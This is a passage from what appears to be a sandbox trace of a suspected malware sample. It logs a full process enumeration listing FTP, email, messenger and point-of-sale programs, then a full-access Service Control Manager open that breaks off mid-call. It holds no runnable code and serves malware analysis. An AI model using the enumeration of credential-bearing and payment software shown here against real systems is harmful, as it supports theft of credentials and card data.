pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0125.111] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.111] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0125.112] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.112] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outputs_extras.exe")) returned 1 [0125.112] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sustainedclassical.exe")) returned 1 [0125.113] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sons.exe")) returned 1 [0125.113] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="catering-methodology-bike.exe")) returned 1 [0125.114] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ultram-cal.exe")) returned 1 [0125.114] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yugoslavia.exe")) returned 1 [0125.115] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="richmond-acid-cindy.exe")) returned 1 [0125.115] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vulnerability_remained_qualities.exe")) returned 1 [0125.116] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="recipe.exe")) returned 1 [0125.116] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="grades-employers.exe")) returned 1 [0125.117] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="blonde.exe")) returned 1 [0125.117] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance-accommodation.exe")) returned 1 [0125.118] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="hpyu.exe")) returned 1 [0125.118] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="br-thai.exe")) returned 1 [0125.119] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectious.exe")) returned 1 [0125.119] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="chip shareware.exe")) returned 1 [0125.120] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0125.120] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0125.120] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0125.121] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0125.121] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0125.122] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0125.122] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0125.123] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0125.123] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0125.124] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0125.124] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0125.125] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0125.125] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0125.125] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0125.126] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0125.126] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0125.127] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0125.128] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0125.129] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0125.130] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0125.130] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0125.131] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0125.132] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0125.180] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0125.181] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0125.182] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0125.183] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0125.183] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0125.184] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0125.185] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0125.186] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0125.186] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0125.187] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0125.188] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0125.189] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0125.189] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0125.190] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0125.191] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0125.191] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0125.192] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0125.193] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0125.193] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0125.194] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0125.198] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0125.199] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="charts.exe")) returned 1 [0125.199] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jakeliberalcooked.exe")) returned 1 [0125.200] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="address_partners.exe")) returned 1 [0125.201] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="shipments-apache-broad.exe")) returned 1 [0125.201] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vendor.exe")) returned 1 [0125.202] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.203] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0125.203] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.204] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xbf, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0125.204] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.205] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.205] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbc4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.206] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.207] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x126c, pcPriClassBase=8, dwFlags=0x0, szExeFile="c.exe")) returned 1 [0125.207] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="poc.exe")) returned 1 [0125.208] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1114, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.208] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x141c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x140c, pcPriClassBase=8, dwFlags=0x0, szExeFile="star.exe")) returned 1 [0125.209] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="cpt.exe")) returned 1 [0125.209] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0125.210] Process32Next (in: hSnapshot=0x13c, lppe=0x18e9a8 | out: lppe=0x18e9a8*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1e0, pcPriClassBase=4, dwFlags=0x0, szExeFile="rundll32.exe")) returned 0 [0125.210] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0xf003f) returned 0x8207b0 [0125.211] OpenServiceA (hSCManager=0x8207b0, 